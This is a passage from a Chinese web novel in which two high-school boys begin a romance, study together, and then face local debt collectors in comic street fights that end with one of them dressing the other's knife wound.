“你不说,那我猜猜?”梁意杉顿时来劲儿了,“你之前心情不好,百分之九十是因为许降,但今天肯定不是。你表情没那么冷,脾气也没那么劲;也不能是因为学习,你的成绩数一数二的,在南城只能是如鱼得水,撒着欢都能冲上浪尖。那么,只剩心情好的选项了……” “总不能是我上次卡着要过零点了给你送来了生日祝福吧?许哥,你太感动了,所以将毕生所学一一传授给我?” 许桑暂时没说话,思路理清后,对着计算过程和答案进行比对,平淡开口,“压轴题,别看答案,步骤太跳跃了。” “……”梁意杉哑了一秒,忙将试卷翻到他说的那题,给标答打了个巨大的红叉后,又抬头,“看来猜错了。我再想想,上次生日时,你身边有个声音很好听的男生,是不是他给你唱歌了?许哥,我记得你喜欢声音好听的。” 许桑抬头,顿住半刻,“简便方法超纲了,所以按题的设计来,直接用第一小问的结论证明第二问。” “那也不能。”梁意杉一边做着精简的笔记,一边嘴皮子打绊地猜测,“唱个歌不至于这么高兴。总不能是谁跟你表白了?不能,照你的脾性,不喜欢的没机会开口,而遇到喜欢的你肯定先下手为强。诶?是不是跟你那个灵魂笔友面基了?” “你废话有点多。”隔着屏幕,许桑淡淡瞥了他一眼,“表白了,没别的。我继续,证明——” “我靠?我靠!”梁意杉从椅子上蹦起来,“牛啊,许哥,我天老爷地大爹,真他妈遇到喜欢的了?南城到底有谁在啊?我,等等,看样子是成了,不然应该是如释重负的表情,许哥,你!” 许桑没给他继续咂巴的机会,“我挂了。” 说完,把这道题的完整过程发过去,他起身,些许沉重地望向窗口。 这一眼,他愣住了。 前所未有的,对窗大开着。 白亮的光线从窗口大张旗鼓地露出。从外窗口向内望,估摸是易承坐在书桌旁,被台灯灯光打出黑色身形的剪影,如同行家精雕细琢的得意之作。 映入视野,便挥之不去了。 第58章 第58章(二更) 【“好的,许教授。…… 静静看了许久, 许桑才收回视线,也懒得关窗,回到书桌前, 摊开一套题开始做。 这几个小时下来,他始终处于一种异常亢奋的状态。 于他,不正常也不应该——靠刷题抑制一会儿后,他突然把笔摔在桌上, 转头看向对窗大敞着的窗。 低声骂了句自己:他是人吧? 又不是死了几百年的尸体,经历了这事怎么可能没点情绪。 想着, 他把消息免打扰关闭, 没等两秒,大坝决堤一样,涌出几十条不止的消息,主要是易承和梁意杉。 许桑轻顿,先点开了易承的。 【校服专洗机:明天周天,来我家做作业?】 【校服专洗机:你家也行。】 没继续浏览下面的消息, 他点到备注栏,把这个稍有些碍眼且机械的备注删了,没什么迟疑地改成“易承”。 顺眼了,他继续看,最后无语地叹气,除了前两句后面全是废话,他回复:“来我家。” 他懒得走,即使对方是易承。 一秒没耽误, 那头秒回。 【易承:啧,我以为才得了名分就被抛弃了。】 【许桑:……】 【许桑:也快了。】 说完,他偏头笑了声, 抬眼就见对窗窗口处,易承双手搭着窗沿,朝这边看着。 还贱兮兮地飞了个吻过来。 许桑:“……” 看来南城的关窗传统还是很有必要的- 生物钟的负作用在于,你不需要的时候,它倒是来得欢。 许桑近两点睡的——昨晚刷了半天定义为“催眠”题库的题,却还是压不住心头那股劲。但不妨碍他六点半坐起来,愣神半分钟后,蒙上被子又栽回床上。 这一回笼觉,睡得久,但也睡得极沉。 却怪异地,给了他没什么感性色彩与想象素材的大脑一定的温床,去滋养一个支离破碎但光影迷离的梦。 印象里,他独自去过一次酒吧。 酒吧里有一款酒,取名为“山茶花沉调”,并不烈,柔和得像是春日阳光。 他只点了那一款,绕了一大圈摆在面前,喝了很久很久,跟上瘾了一样,一杯接一杯。 偶尔听到旁边有各式各样的声音在说话。音色他一点也不喜欢,像桌腿擦过瓷砖刮出的刺耳,还像被踩着掌的鸭鹅发出的剧烈嘶鸣- “山茶花沉调,那酒贵啊,点那么大一桌是想干嘛?”- “喝呗,真希望他快点醉过去,不然长那么张脸可惜了。”- “不太实际,兄弟,那酒度数低,除非是不要命地灌,醉不了。”- “害,那可惜了。长得好,年纪还小,现在是不太好找哈。”- “实在可惜,你给人送杯酒呗,看着也像是第一次来,约莫还是个学生,不会不接。” 说话声在背景声里落低,许桑渐渐迷失了对声音的感知力,只沉沉望着淡色的酒液在玻璃杯外壁的散射下,沾染上五彩斑斓,最后乱成一片光影。 人的精神状况会受多重因素影响。有时,也许是暖暖一阵风,就能令你想起某个人、某个笑颜。 就像当时那刻的他,在破碎的酒液层里,看到了一张随液体晃动的脸,不知是主观投射还是因为这酒自身的魔力——“山茶花沉调”,是他母亲自研创的。 现实与梦境交混中,有杯酒递到了他面前。 他头也没抬,举杯跟人碰了一个,便把这一杯一饮而尽。那人却不给力地转头就走,似乎败了兴致。 “……”毛病。 潜意识里,他骂了一句,而后继续自饮。 本来现实在他醉了个百分之八十的情况下就结束了,但当下的梦里,他却被一个小了一岁的少年摁在了座位上,不能动弹地望着那杯放大十几倍、比方桌还大些的酒杯。 原本斑斓且笑盈盈的脸,顷刻间转成黑白色,随着空间的震颤而晃动…… 酒液铺成的液面并不稳定,在摇晃,硬生生将那张脸拍成碎片。眉眼割裂,唇鼻撕裂,散成碎掉的玻璃残片。 单是看着,似乎都在割磨着他的眼瞳。 …… “做噩梦了?”易承坐在床边,半弯身,用指腹轻轻拭去许桑额头上的细汗。转眼见他皱着的眉头,又用指节慢慢推平。 记忆里,有次许桑在教室里做过噩梦,睡得死不说,还全力攥着他的手腕,以不摁断不罢休的力道。 想及此,他嘀咕一句“痛便痛了。”便主动伸出手腕,递到许桑攥成拳头的右手边,轻轻一碰。 大致无声示意:攥我。 但许桑是绝对没get到的,即使在睡梦中,都相当有劲。五指微张,拍开了他的手腕。 易承看着他的动作:“……” 气笑了,他目光又落回许桑脸上,至少看着这张脸,不会对方才的事有半点异议。 估计许桑这梦比较持久,可能还有挣扎——他开门进屋的时候,看到的许桑,衣领凌乱大开,近皮肤处的头发沾着些细汗。面色惨白,而脖颈处还残余着红条的抓痕。 就连手中握紧的拳,指节上还泛出用力过度的红白色。 得亏刘姨来还钥匙,他路上接了这“举手之劳”。 “许桑,能听出我是谁吗?”易承对这事也算是有经验。 之前秋秋不信邪抱着恐怖片看的时候,他半夜起身确认小姑娘有没有大战被子并获胜时,撞见过几次——还变了法子地去安慰。 一开始是一巴掌给人拍醒,不治本但治标; 后来逐渐知道些言语引导、气氛引导、以及肢体安抚。 不过等他想继续精进这门技术时,秋秋已经不怕了——甚至在某些节日里,主动扮演,怕把妆吃没了,从学校飞奔回来吓他。 许桑没什么反应,只是皱着的眉舒展了不少,就连拳头也松了些,易承能艰难戳进去一根手指。 “不应该啊。”易承一招一式地使着,除了些细节处能见效力,他手背附在许桑额头,确认他不是烧过去了,小声:“快醒醒,再不醒我亲你了。” 有点傻逼了,但不重要。 易承揉捏着他的手,直至许桑手心彻底朝他开放,才笑了声。 怕人醒来想喝热水,易承想去备上一杯,只是刚起身,手腕就被握住,他没能起来,反倒往床上一栽。 易承挑眉,坐回去:“醒了?” “我以为是贼,”许桑偏过头,浅薄的记忆里,有人翻来覆去地摸他的手,要不是内心还挂着个男朋友,他都没想理的。结果一睁眼就是易承,他松气,补完那半句:“摸进我家了。” 易承听着这句话,怎么听怎么不对味,上前逼问:“所以,宁为贼醒,不愿为我睁眼?” “……你睡傻了?”许桑松开他的手腕,掀被子坐起来,摸了道脖子,不是很舒服,想去洗澡。 易承“啧”了一声,逗他一次,每每自己遭罪,“刘姨来送东西,我顺路便接了钥匙,也算半个贼。” 许桑对着他的解释“嗯”了一声,起身兀自去卫生间,正欲关门,就听易承说道:“不过,偷的是心。” “……”他一掌关了门,摸到杯子牙刷开始洗漱。 洗漱完,他对着镜子里稍显凌乱的自己发了会呆:也是神奇,平时做这个梦,起来得缓上许久。 今天,倒是一分钟都没“回味”上- “难得。”许桑拆了袋面包片,叼着咬了几口,看着时钟上已经过了午时,叹了声:这睡得也太过头了。 易承给他递上热水:“什么难得?” 许桑咽下面包片,平淡回答:“没什么。书桌你随便挑一角喜欢的,先做。” “还真做作业啊?”易承笑着看他,“我以为约会的性质很明显。” “……”面包片差点噎他个半死。 许桑灌了两口水,平息掉喉咙里的动荡,轻敛眉,“等你上六百三再说。” “还有这要求?”易承笑道:“那我努努力。” 许桑别过眼:“嗯。” 许桑家的书桌要大一些,坐两人绰绰有余。 但今天许桑没急着坐下,像个监考老师一样站在易承旁边,一边喝温水,一边垂眼看他做的题。 “许哥,”易承打草稿几乎不用脑子,眼睛看、手顺着写就行,在庞大的计算中,他分神说道:“有人说过,你适合去当教授吗?” 许桑回答:“没有。” “那现在有了。”易承第一次被人盯着,还感觉满头皮层的压迫感。 太强了,打个比方,十个老徐绕他头顶摆一圈脑袋盯着他,他都没这种感觉。 “……”许桑偏了下头,“做你的题。” 易承乖巧应答:“好的,许教授。” 许桑别开眼,把杯子放在一旁后,将手机摸出来。昨晚梁意杉的消息他没心情看,现在打开,其实也没心情:叹号军团似的,一句十个炮,光是看着太阳穴就突突跳。 他逮着有效信息回了句,“就那个声音好听的。” 回完,他将手机塞回兜里,偏头就见易承抬眼望着他,“怎么?” 易承孩子气地说道:“陪我做。” “自己做。” 许桑昨晚刷题刷猛了,不太想继续刷。 “嗯?”易承转了圈笔,换了个说辞:“有几题不会,教我。” “不想教。” 实话说,昨晚教梁意杉的题,够他半学期的频率了,也不太想继续教。 易承“嘶”了一声,将笔落下,站起身来,玩笑:“那你邀我来你家干嘛?” “……”他只是做了个选择,这人颠倒黑白扣帽子倒还熟溜。 许桑微微抬眼,没好气地上前一步,“易承,你再说一遍?” “我说,”易承背后是墙,安全感十足,他挺直腰板,惯常地没脸没皮,“那你邀我来你家干嘛?” 许桑淡淡“嗯”了一声,就在易承觉得这人脾气稳定得能抵上平流层时,唇上忽地一凉,一个吻落了下来。 依旧很浅淡,就跟他的唇温一样。 松开人时,许桑退了两步,出房间前说了句:“做一套真题卷,别跳题,两个小时后我来看。” “真是……”易承望着他的背影,没忍住笑了声,手指轻刮过下唇,回味似的抿了下,才散漫地应声:“好。” 第59章 第59章 【他拳头硬了,想揍人。】…… 两个小时还没到, 甚至提前半小时易承的电话就进来了。 许桑应声进屋,没拿参考答案就直接从头扫到尾:估计是做过太多次、看一眼题干印象回笼,答案也就跟着出来了。 易承则靠墙站在一旁, 没个正形。 同许桑看题看进去微微皱眉、抿唇的模样不同,他全程的目光松闲,稳稳都落在许桑身上,饶有兴味地上下左右尽数打量了个遍。 “比我想象中要好。”许桑一直看到最后一道选做题, 耗时也不长,“如果是第一次做的话。” 但后面的假设基本不会成立——从高一开始学习起, 爱讲派头的老师便会主动呈上高考原题, 学生自然也会更敬重更上心地去做。 毕竟,高考原题诶,可不宝贝嘛! 所以到高三这个阶段,没见过没做过高考题的人,就跟从小到大没看到荤片子的男生一样稀少。 若真要统计起来,约莫只是碍着面子说不说的问题。 “那倒不是。”易承转着笔, “有些题太经典了,做过。” “那也还行,思路逻辑清晰。”许桑在心里默默叹了句:比梁意杉上道多了。叹完,他情难自禁地添了一句,“可以。” “这么赞不绝口。”易承追着他上前一步,“许教授,有什么奖励吗?” 闻声,许桑细细思索, 很正经地回了句,“可以试试最新的模拟卷,水平没有太大断层。” 易承:“……” 尽管他知道这的确是个好奖励, 能算是认可他实力了。但他下意识还是骂了句:这算哪门子奖励! 他无奈点点头,“好,好。”- 从日中做到日落,屋内蒙上橘红色的晚霞,还夹了点冬日灰蒙蒙的雾霾。 易承落筷,大胖懒猫一样摸着肚子,随口一问:“打算什么时候走?” “六点半。”一人做饭自然另一人洗碗,许桑起身收拾碗筷。 “踩点赶啊?”易承视线跟着他走,见他进了厨房,便跟着走到门旁,长腿在脚踝上方交叠,倚着门框慢悠悠开口,“我等会跟你一起。” 这不废话。 许桑像看傻子一样看了他一眼,忽而一顿,反应过来他这用词,求证似的问道:“你不去学校?” “……”脑瓜子机灵的,难怪老徐护许桑跟母鸡护小鸡躲老鹰一样。 易承挑挑眉毛,“嗯,不去。” “照你所说来推,今晚不是因为店,也不是秋秋。”许桑把最后一个碗放好,扯过纸擦手,探究意味强烈地看向他,“还有什么能耽误你学习?” 易承想说的确还有,可目光从他略显冷淡的眉眼下滑到他纤细的一截腰,转了口,他抬眸,笑问:“这么想我上六百三?” 声音尾调微微上扬,加之易承本身音色就上乘,听着莫名勾人。 好似从下午他的随口一说开始,六百三就约等于“约会”……勾人的语调配上调.情般的说辞,许桑没耐住,偏过眼冷声,“没这么想。” “是吗?”易承笑得肩头轻颤,见许桑冷着脸直接绕开他,心道一声玩大了,连忙伸手拉住他的手腕,软声:“玩笑玩笑。今天19号,照约定,我得去还钱。” 听到后半句,许桑才停止挣扎,回看向他,“每月十九?” “嗯。”易承指腹擦着他的手腕,“不过,今天是最后一次。” 许桑拧眉,尤其听到“最后一次”,心下的警惕便燃起来了,他带着些情绪地说道:“我跟你去。” 说到还钱,他想起上次遇到的那伙东西。先想起的是易承那张青涩的照片,而后才是那个脑子过于平滑没个绊儿的头儿,说过关于易承“欠钱”之类的事。 看架势,易承不还钱可能比他还完钱更令那伙人火冒。 他之前混得更多是学校,社会上的事擦点边、挨得少。但要品出这“最后一次”含带的风险,直觉便够了。 “嗯?”易承顿了下,指尖的动作都跟着僵停。 “我跟你去。”许桑眼里勾着嘲讽地看了眼他的耳朵,而后摸出手机,翻到通讯录。 “什么眼——” “神”字还未出世,易承的嘴便被捂住了。他愣愣眨着眼,垂眼就见许桑的手背若即若离地贴合着他的唇鼻。 才从冷水里脱手,他手背冰凌凌的;细嗅,还带着些淡香,估摸是卫生纸上附着的。 许桑只给了他个眼神,便对着手机那头的人说话:“许桑,请今晚的假。” 闻声,易承会意,轻挑眉,话不能说便细细盯着他的手背,将青色血管走势一一描摹。 “啊?许桑请今晚的假?”徐富在赶着趟地吃他的晚饭,听到如此言简意赅的一句话,愣了一下,“你……您是许桑的家长吗?孩子怎么了?是不是学习压力太大了?” “……”许桑停顿一秒,懒得挨个纠正挨个回答,“生病了。” “哦,那要注意好好休息啊。”徐富估计抖完激灵了,这时才慢吞吞地看了眼来电备注,眼睛登时睁圆,“许桑?!” “怎么,”许桑被这一声刺到耳膜,不耐烦地反问,“许桑不能生病?” “不是不是。”徐富嘴皮子都擦冒火了,“我不是这个意思,我是才反应过来你是同学不是家长。” 一来一回双方的话都听着,易承没忍住笑了声。 “谁在笑?”徐富跟闻到味儿的狗一样皱起眉来,感概:“这声音像易小子,贱兮兮的,不过应该不可能。” 这回轮到许桑眉眼含笑了,他勾着唇看易承的反应。 徐富则是老鹰翅膀点水面,不屑一顾所以一点就跑,“算了,说正事。既然生病了,那就好好休息,今晚的课正好有两节是我的,要讲的是上周的试卷,你听不听无所谓,至于生物课……” 他还在滔滔不绝,使出浑身解数塑造一个尽职尽责的班主任。 许桑却没有任何心情听他叨叨,甚至右手轻轻发颤。 三五秒前,易承看着许桑的笑容,失了半刻神。醒神时,微微上前,吻住许桑的手背,似还不满足,舌尖撩过他凸起的青筋。 搞完这一系列的怪,才缓缓抬头,无声地笑。 “……”许桑僵硬地收回手,偏头,往阳台处走,在冷风的吹拂下,耳朵里清明了徐富的长篇大论,“我知道了。” “好,那我等会要到生物课的ppt,就先发你。你休息好了,或者太无聊了,就拿出来看看。学习休息两不误嘛。” 没再多余奉承,许桑利落挂断了电话。 他转身,“易承。” 易承隔着十几二十米看他,“在呢。” 许桑眉眼冷淡:“我们再打一架。” 他拳头硬了,想揍人。 易承轻笑,主动走过来,“好啊。”- 这一架最终是没打成的,某人的拳头,轻轻一捏就松劲了。 易承压不住笑,一直拉着他的手。到了时间点后,两人便并肩往外走。 情绪恢复平然,许桑问道:“还是上次那伙人?” “不止。”易承本来没什么心理压力,但许桑跟来,那就不一样了。轻呼一口气后,他坦诚相待:“两批。只是其中一批不太讲十不十九号,想追债了便追,一月来两三次也不乏。” 许桑想起见易承第二面时遇到的那些人,追问:“之前追你那堆人便是?” “聪明。”易承向他竖了个大拇指。 许桑:“……” 难怪见他第一面,莫名其妙差点被打- 许桑捕捉到关键词:“黑大?” “嗯。听着挺二,是吧?”易承笑着说,“据说是因为那伙人喜欢黑.帮这个名号,又嫌弃黑.帮大,便取一舍一唤了黑大。该说不说,黑得相当到位。” 听他讲,许桑如实点评:“没听出精明。” “遇钱就精,遇事则明。”易承来到约定地点,停了步子,没有杨叔随身携带的板凳,他则后脚蹬上树坛,身子微弯,放松下来,“至于其他方面,你说得不错。” 许桑点头,偏头看了眼他的姿势,“就这么累?” 易承仰头看他,睁眼说瞎话地来了句,“嗯,累。” 许桑向他进了一步,“那靠着我。” 黑大黑二黑三比约定时间晚了近半个小时,但也比易承猜想得要快很多。所以最终,他俩等了没两分钟,那伙人便顶着光大踏步走来。 “哎哟?今儿还带个人。”两人站在暗色里,黑三只能看清人的轮廓,以为站着的是易承,便对着那矮了半截的人影点评,“矮不拉几的,我一拳能打两个!” “把我那手电筒支出来,还搞他妈敌在暗我在明!”黑二跟着和上,见小弟怼着那黑影就要照,忙呵斥:“傻逼,找个角度照我们,我们得在暗!” 没等那个卡着时间压轴出场的黑大发话,易承将脚边的袋子扔了过去,耐心不多:“点。” 黑大张开的口圆乎乎旋转一百八十度后闭上,缓了缓,才又转开:“花活不错,就是抢了老子的风头。” “……”易承低眸活动着手腕。 “这么多?”负责点钱的黑七对着那叠钱翻来覆去清算,得出这么个结论。 “多?”黑大一记眼刀飞过去,“钱哪会多?只会少。” “哦,对。”黑七连忙改口,“少了,少了一半。” 闻声,易承扯了下许桑里衣下摆,见他微微低身,才压着声音问道:“如何,会算吧?” 许桑不语,借着不远处的那杆灯,将几人挤眉弄眼的表情看得仔细。 “嘿,出来说说呗,少了这一半该怎么算?”黑大往前走了一大步,估摸着矮些的是易承妹妹。 打架护着妹妹,东顾西怕不顺手,战力定然有损……盘算完,他把黑七支开,而后手掌上翻,招呼着人便上,“出来说话!” 易承阵仗见多了,卡点起身前,食指轻轻点在许桑手背,像是安抚;而后,脚后用力,他站起身,扬腿利落扫过最前面那人,那人腿往前折,扑通跪在了地上。 后面的人愣了一下,大喊一声,“矮的是易承!!” 喊完,喉咙的振颤还未止息,腰腹被长腿打横一拍,整个人四仰八叉便倒回原地。 “妈来个簸箕!”黑大被这胖条“尸体”一绊,差点一跟头,扭头看了眼阴影处的那位,怒目圆睁呵道:“你真他妈搬救兵?” “嗯。”易承轻翻脚踝,笑道:“别怕,救我的,不伤你。” “那算根儿葱的救兵!”黑二说着就要往黑影处扑。 易承拧眉,快步迎击,曲腿撞上他脊骨,顺着他前倒的趋势手腕翻转,拎着他胸前衣服就是抓拽,“上赶着找伤吗?” 话落,他嫌弃地将人推回去,黑二踉跄两步,还是翻了个跟斗栽到了地上。 黑大的战斗主力——看着名字想不会错:就是黑大。 最初易承在他手底下拧不过三招,被摁趴下后,黑十八都能来拔他根头发。 所谓双向奔赴吧,大概也能形容他俩: 易承在黑大手底下,从只能扛伤接招走到了能轻易干翻黑三一直到黑十八; 黑大为了对付他,在街口挂了个沙包天天练,从三招能打他个半死到了三十三招还能憋着劲提腿。 “本事不小啊。” 黑大往旁边啐口水,没注意那胖条,被“哎呀哟喂”嫌弃了两声,“滚你妈的,别他妈叫!” 易承看向他,眸光渐深:“还好。” 对于黑大来说,狮子王没有狗二孙更招他恨,因为宁愿听人把自己吹得天上有地上无,也不愿听谁诌诌自己一不行二差点。因为他讨厌别人谦虚——都谦虚,就显得自己装了。 所以听了易承这语气,他脑门上的火就突突突地冒,跟高压锅烧开了一样,“找打!” 话落,他扛着自己魁梧的身躯,就往前莽。 许桑偷偷从暗走到了更暗,他站在点钱的黑七身后,偶尔看两眼对打。 十几招下来,他找到了之前问题的答案:易承的本事,靠一群混混的陪练。 再过几招,他点评: 纯靠蛮劲,原始人的斗法啊。 “那什么,兄弟,你挡我路了。”黑七搂着钱袋想往明处去记个账,往前一蠕动就撞上了两条硬物,他连忙一拍。 许桑低头,借着自己夜视能力还不错,他绕了一些,冲人撅起的屁股来了一脚。 “我操!”黑七上半身一挺,“闹鬼了!” “嗯,闹鬼了。”许桑弯身拧过他两条手臂,在其背后交叠,而后一脚踩上他腹部,向下用力时,抽走了自己的手。 黑七惊得浑身抽搐,可转念一想嘴巴还开着,正要使用,垫在后脑勺的钱袋一把被抽走,他光光森森地磕在了地上:“啊!” 黑大气喘吁吁地把钱袋子提走,大声数了一遍后,从兜里摸出那张欠单,给了易承。 按这边的交易习惯,找到章印后,易承没多言,拍视频记录,而后交给黑大,看着他鼓鼓囊囊地将其撕成碎条。 手机自带的闪光灯,照得那飘飞的碎条像雪片,但像得不纯粹——印了黑字,到底不那么洁白。 等一行人跌跌撞撞离开,易承站在原地,笑道:“遇事则明,撕得够快吧?” 许桑依旧不语,上下将他打量一遍后,轻声:“你受伤了。” “嗯?”易承心道:他遮得还算快吧。 许桑没理他的话,指尖轻勾住他卫衣下摆,向上撩。 第60章 第60章 【“易承,你,你狗仗人势。…… 下腹袒露些许, 被风带过忽然一凉。易承颤了下,横过手用力按停他的手腕,呼吸一紧:“嗯?” 许桑眼神沉冷, 被这么一挡,不耐地掀起眼皮扫了眼他,淡声:“松手。” 话落,易承拦阻的力道就松了。 “我看到他使刀了。”许桑捻着衣料, 将他卫衣挑起三分之一,凭着几分钟前视野里观察到的情况, 指头精准触碰到那长条的划痕。 他没管易承肌肉的紧绷, 描边似的贴着痕路一侧走了一遍。面上依旧平淡,偏了些角度将指头不慎沾到的血迹点划过他下腹,声音淡得像没有情感:“为什么不躲?” 闻言,易承难得心虚似的偏过了眼,小声:“没躲开。” 许桑手指微曲勾着卫衣,另一手从他裤兜里摸出便携纸巾, 手指灵活取出大半,摊开后逐层交叠,动作期间,他语气凉凉的:“说实话。” 许桑现在周身气压很低,比这两月以来任何情况下的表情都要冷。 尤其是低着的眼,长睫遮掩看不清神色,偶尔眼皮微抬目光向上,牵动着眉心一皱, 压迫感从他过分薄凉的冷眸中溢出。 看得人心底发慌。 易承不由微顿,转口如实回答:“受点伤能减轻后续的麻烦。” 若是完好无损地从黑大手里脱身并逍遥自在地离开,在黑大眼里, 那是挑衅。 按常理来说,挑衅没什么,但光看黑大这名字就知道常理没屁用。他爱面子比爱他那根家伙什还深,保不齐还能再堵他个十条街八条巷。 但他既然有了要好好学习的想法,便不能让这些麻烦出现在生活里——哪怕这件事尚在“可能”阶段。 想着,腹部忽地被压,易承猝不及防痛出声来:“嘶。” “知道痛了?”许桑压着情绪开口,声线微微发颤,好似那刀片割在他身上,好似此刻被按着伤口的是他。 易承低眸看着他的动作,轻声:“嗯。” 将纸巾展至长条交叠,总体厚度约莫半厘米,许桑将其贴合着伤疤下压,摁住后,在易承卫衣上看了很久,才问道:“卫衣抽绳还要吗?” “嗯?”易承跟着他的视线看去。 帽沿的抽绳被糟蹋得不成样子——拜秋秋所赐,摸到带子就扯的频次,那习惯跟见到猫就薅毛的不相上下。 现下看着,已经是松松垮垮、用些力就能取下来把玩。 他没反应过来,只是单纯地回答:“无所谓。” “嗯。”许桑应道。 话落,他指尖绕上抽绳一拽。 动作过于突然,加上长条带子虽旧但到底通道窄阻力偏大,易承没稳住,被他的动作带着上半身前倾。 距离陡然拉近,易承攀住他肩膀,堪堪稳住身形,“怎么了?” 许桑淡淡瞥他一眼,收回视线时,卫衣抽绳已然赤条条地落到手中。 “止血。”许桑回完弯身,将带子绕着他腰围了两圈,见长度不够,便匆匆在他腰侧打了结。 抽绳绕缠着腰,不过非但没有喘不过气勒得慌,相反,偏重的力道隔厚层纸巾压着伤口,不至于流血过多……效果很好,感受到这一点,易承挑眉:“很有经验?” 许桑不语,替他整理好大开的领口。向后退了一步,绕向另一话题:“另一批人什么时候到?” 易承目光微沉,看了眼时间,回答:“最多五分钟。”- 巴黎蛋带着兄弟伙来的时候,先是走一步一个喷嚏,再是走两步一个踉跄。 “老大,撞鬼了嘛这不是!”钱弟抖腿,才憋回去一个要喷不喷的喷嚏,没痛快直犯牙酸,他抱怨:“今儿出门忘看黄历了?” 巴黎蛋踹他一脚:“撞你太姥姥的鬼!老子看你是出门没看鬼历……” “老大威武!”钱弟无话可说,转向拍马屁赛道。 银兄一点话口没错过:“又不是升堂,要威武干什么?” 巴黎蛋:“……” 他马屁股都被拍高兴了,笑到一半被迫停止算哪门子鬼事!手下没一个能连着靠谱两次的。 按照熟悉的路线走,一行人东奔西走终于是到了目的地。 才到,就被一记冰冷眼神逼得一句骂口没说出,几个人直接坐下开始清点钱数。 巴黎蛋眉毛拧打结,问身边的“智囊”银兄:“易承旁边那个,看着眼熟,是不是之前见过?” “是见过。”银兄胸有成竹,“之前说不认识那个,还挺帅的那个。” “……后半句眼没瞎现在就能看出来。不过我之前怎么没发现他也是道上的。”巴黎蛋背着许桑的凝视而站,时不时抖一抖,试图把一脊背的芒刺抖落,“这眼神,我混四五年才混出点皮毛。” “……”银兄一时语塞,僵硬道:“老大威武。” “滚犊子。”巴黎蛋心下疑惑,看了眼负责点钱的人,眼神确认后,他拽着脚步朝两人走去,见易承微倾着身子从后靠在许桑肩上,怒斥:“易承,你,你狗仗人势!” “……” 额间蒙了些汗,易承半阖着眼神情散慢,闻声抬了抬眼:“嗯?” “难怪之前奇奇怪怪的,一会说认识一会说不认识,原来是请了道上朋友,估计当时还没见面,才认识又不认识的。”巴黎蛋一副我懂我什么都懂的样子,话没说两句,自己心里已经铁板钉钉地钉实了想法,“请人,是为了这次还钱吧?” 易承垂在一侧的手握成拳,自己感受完力道,心想:对付巴黎蛋,问题不大。 想着,他回味了遍巴黎蛋的话,下巴轻转,望着许桑并不明晰的侧颜,小声:“你表情很凶?” “……”许桑用余光看了他一眼,“有吗?” 易承为偏,鼻尖擦过他长颈,也没甚注意。鼻音轻轻“嗯”了一声,还朝外微抬下巴,“我看对面挺紧张。” 放屁也要出点气听个响才痛快;何况自己完美推断了对方掩藏良久的行动意图,从目的到手段,环环相扣,说得巴黎蛋有种翻身就去警察局干警察的激动,他先内心狂叫一声:“天不生我巴黎蛋,警署万古如长夜”。 然后,就顿住了:因为一个巴掌没拍响,对面相聊甚欢完全没被他的逻辑思路折服。 “上!”巴黎蛋怒火中烧,骂道:管他妈的,等会左右都要上警察局! 话落,手下们面面相觑,眼珠都要平滑旋转起飞脱离眼眶了,才想起“上”是什么意思,撸起袖子乒乒乓乓跟竹篮打翻滚出的玻璃珠一样混散着叮叮咚咚往前冲。 许桑轻力按了下易承的手腕,示意他别动。收手时旋即凝力握拳,脚下生风,一步顶人两步倒腾。 易承轻顿,顿完,忽而一笑:原来受人保护是这种滋味。 许桑的打法比之易承,技巧性强很多,像是经过专业的训练。 一套下来,毫不拖泥带水,利劲如注,手腕交绕几次,前排打头阵的已然走起乱七八糟的滑步。 没滑住,栽了个天旋地转。 “……!”巴黎蛋虎躯一震,勾了下战损版的“智囊”,面色如洪水猛兽,说出来的话就不那么是东西了。 “咱欠条呢?” 银兄傲气:“老大,我们誓死不屈!” 话还没说完,一拳头就蒙到了他脸上。“乓当”一声!打得银兄后退五步眼冒金星脑浆翻滚。 “识时务者为俊杰。”巴黎蛋急步过去,使劲从他裤兜里摸出折得皱巴巴的纸条,走过去前嘀咕了一句,“你记性好,就记清楚:下回遇到易承跟这人在一起,就提醒我躲远点……” 银兄:“……” 有句“窝囊废”不知道该不该送给他老大。 比刚才的“销债”流程走得更快,因为说实在的,巴黎蛋论身手论智商论什么都差黑大一头,若非当年运气加持走上那条道,估摸着现在还在黑大手底下哈舌头。 易承静静地看着流程走到最后一项,停滞两秒才偏转视线,任巴黎蛋带着他那伙兄弟离开,留下一地纯粹的静谧。 此刻,与情绪起伏至波涛汹涌的预想完全不同,他沉沉的,很平静- 许桑取过消毒液放在床头,自己顺着床沿坐下。 易承则听话地将卫衣卷了一半上去,将下腹裸露于房间的灯下。 许桑附身,手指灵活解开他腰侧的结,但可能易承不是特安生一个人,东蹭西摸的,绳结被拉成死结,但他也不急,垂眸耐心地解着。 直至伤口裸露,大概食指长度,血糊着,平添一丝骇人。他表情顿时一变。 看着他抿紧的唇和皱深的眉,易承调侃道:“心疼了?” 沾上消毒液,许桑将棉签按上伤口,“没。” “是吗?”易承忍着痛,这回没再一不小心叫出声。他伸手,拇指轻轻擦过许桑嘴角,一捻,逗弄道:“那你笑一个?” “……”许桑点涂的力道加重了些许。 压在唇角的手骤然一颤,而后就听易承软声:“你轻点。” 许桑看他一眼,只一秒,又垂下眼处理伤口。 屋内静静的,亮黄色灯光由上垂落,给人勾出绒毛般的轮廓,显得很暖;桌上放着走针闹钟,在无声里,奏出一曲分针同秒针的合鸣。 易承背靠竖枕,一手还得挑着卫衣免得下垂,但不妨碍他的躺姿懒得可以。 他回想起方才的打斗,惊讶于许桑观察的细致程度,更惊讶于他的态度,像是:早就经历过的平淡。想及此,他喊人:“许桑。” “嗯。”许桑扔了棉签,换纱布。 “我们之间,”易承说话时手指缩着,几字一顿,像是在边说边后悔,后面索性换了个委婉的描述:“像没交代过案底一样。” 说完,他虚虚扶额:也不太委婉,更冒犯了好像。 “想说什么?”许桑只看了他一眼,便又专心于手下的缠绕,语气平得像是在说今晚吃了什么,“你欠着债,我混过道……而这些从未明白揭开过?” 易承眼睫轻颤,像是被他戳中了心思,更懊恼了。辗转用词,只小心翼翼问出一句,“你介意吗?” “介意什么?”许桑打完最后一圈,收了手,看向易承,“介意忽如其来兜头一大笔欠款?” 将他眼神的细微变动看在眼里,许桑凝冰的面颜终于是化开些许,嘴角轻勾,“可你不是解决了?” 易承轻轻“嗯”了一声。 “还是说,介意你是个坏胚?”许桑向他近了一分,手指抵住他下颌,迫使他微垂的脑袋昂起些,温声:“那,彼此彼此。得先问问你介不介意。” 易承沉沉看着他,在他深而稠的眼神里,有些慌神。 这段时间,他跟杨叔谈过,结果不出他所料阿里:不续约,不盘店。而这意味着,还去债钱,他和秋秋的生活失去来源保障。 